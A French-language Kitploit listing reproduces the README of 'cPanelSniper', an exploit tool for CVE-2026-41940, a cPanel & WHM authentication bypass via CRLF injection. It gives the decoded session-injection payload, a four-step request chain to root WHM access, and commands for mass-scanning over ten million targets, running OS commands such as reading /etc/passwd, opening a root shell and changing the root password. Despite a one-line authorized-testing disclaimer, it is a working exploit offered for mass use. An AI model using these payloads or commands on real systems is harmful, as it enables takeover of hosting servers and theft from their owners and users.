Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cpsniper — cPanelSniper STABLE - CVE-2026-41940 optimisé pour plus de 10 millions de cibles | Kitploit
Outils/GitHubGitHub/44pie/cpsniper
Authentification et AutorisationScanners de VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationTests d'IntrusionCommandement et ContrôleRed Teaming
GitHub44pie/cpsniper

cpsniper

cPanelSniper STABLE - CVE-2026-41940 optimisé pour plus de 10 millions de cibles

Voir le dépôt
221il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

cPanelSniper

cPanelSniper

Python CVE cPanel stdlib pipeline Author

CVE-2026-41940 — Contournement d'authentification cPanel & WHM via injection CRLF dans le fichier de session
Chaîne d'exploitation en 4 étapes · Shell WHM interactif · VRAIMENT STABLE pour 10M+ cibles · Zéro utilisation mémoire · stdlib uniquement


Vue d'ensemble

cPanelSniper est un framework d'exploitation ciblé pour CVE-2026-41940, une vulnérabilité critique de contournement d'authentification affectant cPanel & WHM. La vulnérabilité permet à des attaquants distants non authentifiés d'obtenir un accès WHM de niveau root en injectant des séquences CRLF dans le fichier de session via l'en-tête HTTP Authorization — sans aucune identifiant valide.

  • Score CVSS : 10.0 (Critique)
  • Exploitation dans la nature : Confirmée (avril 2026)
  • Installations affectées : ~70 millions de domaines exécutant cPanel & WHM
  • Aucune dépendance : stdlib Python pur — pas de pip, pas de requests, pas de paquets externes

Uniquement pour les tests de pénétration autorisés et les programmes de bug bounty.


⚡ VERSION VRAIMENT STABLE

Cette version est optimisée pour scanner 10 000 000+ de cibles avec ZÉRO utilisation mémoire.

Ce qui a été corrigé

ProblèmeVersion originaleVersion corrigée
Utilisation mémoireCharge toutes les cibles en RAMDiffuse les cibles ligne par ligne (0 mémoire)
10M de ciblesOOM → Tué ❌Se termine avec succès ✅
RepriseNon prise en chargeOption --resume
ProgressionPas d'ETAETA en temps réel + débit + statistiques
RésultatsEnregistrés uniquement à la finEnregistrés toutes les 60 s (configurable)

Fonctionnalités clés

  • Architecture de diffusion - Traite 10M+ de cibles sans les charger en mémoire
  • Zéro crash OOM - Même avec de très grandes listes de cibles
  • Reprise automatique - Reprenez là où vous vous êtes arrêté avec --resume
  • Progression en temps réel - ETA, débit de scan, suivi des erreurs
  • Enregistrements périodiques - Résultats auto-enregistrés pour éviter la perte de données
  • Prêt pour les pipelines - Fonctionne parfaitement avec subfinder, httpx, shodan

Comment ça fonctionne

La cause racine se trouve dans Session.pm : la fonction saveSession() appelle filter_sessiondata() après avoir écrit le fichier de session sur le disque. Cela signifie que les caractères CRLF intégrés dans la valeur de l'en-tête Authorization: Basic sont écrits tels quels dans le fichier de session, injectant des champs contrôlés par l'attaquant avant l'assainissement.

Flux normal :
  POST /login/ → filter_sessiondata() → écrire la session → vérification d'auth

Flux vulnérable :
  POST /login/ → écrire la session (payload CRLF injecté) → filter_sessiondata() → la vérification d'auth lit le fichier empoisonné

Le payload CRLF

La valeur Authorization: Basic se décode en :

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

Ces champs sont écrits directement dans le fichier de session sur le disque. Lorsqu'ils sont relus, cPanel traite la session comme une session root entièrement authentifiée.

Chaîne d'exploitation en 4 étapes

┌─────────────────────────────────────────────────────────────┐
│  Étape 0 — Découverte du nom d'hôte canonique              │
│  GET /openid_connect/cpanelid → 307 → nom d'hôte réel      │
├─────────────────────────────────────────────────────────────┤
│  Étape 1 — Créer une session pré-authentification          │
│  POST /login/?login_only=1  (mauvais identifiants)         │
│  ← 401 + cookie whostmgrsession                            │
├─────────────────────────────────────────────────────────────┤
│  Étape 2 — Injection CRLF                                   │
│  GET / + Cookie: session + Authorization: Basic <payload>  │
│  cpsrvd écrit les champs CRLF dans le fichier de session   │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  Étape 3 — Propager (gadget do_token_denied)               │
│  GET /scripts2/listaccts                                    │
│  Déclenche le flush raw→cache — les champs injectés deviennent actifs │
│  ← 401 Token refusé (attendu)                              │
├─────────────────────────────────────────────────────────────┤
│  Étape 4 — Vérifier l'accès root WHM                       │
│  GET /cpsessXXXXXXXXXX/json-api/version                    │
│  ← 200 {"version":"11.x.x.x","result":1}  = PWNED          │
└─────────────────────────────────────────────────────────────┘

Versions affectées

BrancheVulnérableCorrigée
110.x≤ 11.110.0.9611.110.0.97
118.x≤ 11.118.0.6211.118.0.63
126.x≤ 11.126.0.5311.126.0.54
132.x≤ 11.132.0.2811.132.0.29
134.x≤ 11.134.0.1911.134.0.20
136.x≤ 11.136.0.411.136.0.5

Installation

git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help

Aucune installation pip requise. Python 3.8+ stdlib pur uniquement.


Utilisation

Scan de base

# Cible unique — scan uniquement
python3 cPanelSniper.py -u https://target.com:2087

# Cible unique — shell interactif après contournement
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# Grande liste de cibles — 10M+ cibles (VRAIMENT STABLE)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# Reprendre un scan interrompu
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

Actions post-exploitation

# Lister tous les comptes cPanel sur le serveur
python3 cPanelSniper.py -u https://target.com:2087 --action list

# Exécuter une commande OS
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# Obtenir les informations du serveur (nom d'hôte, charge, disque, hôte MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# Obtenir la version de cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version

# Changer le mot de passe root
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# Shell WHM interactif
python3 cPanelSniper.py -u https://target.com:2087 --action shell

Pipelines (VRAIMENT STABLE pour les grandes listes)

Télécharger l’outil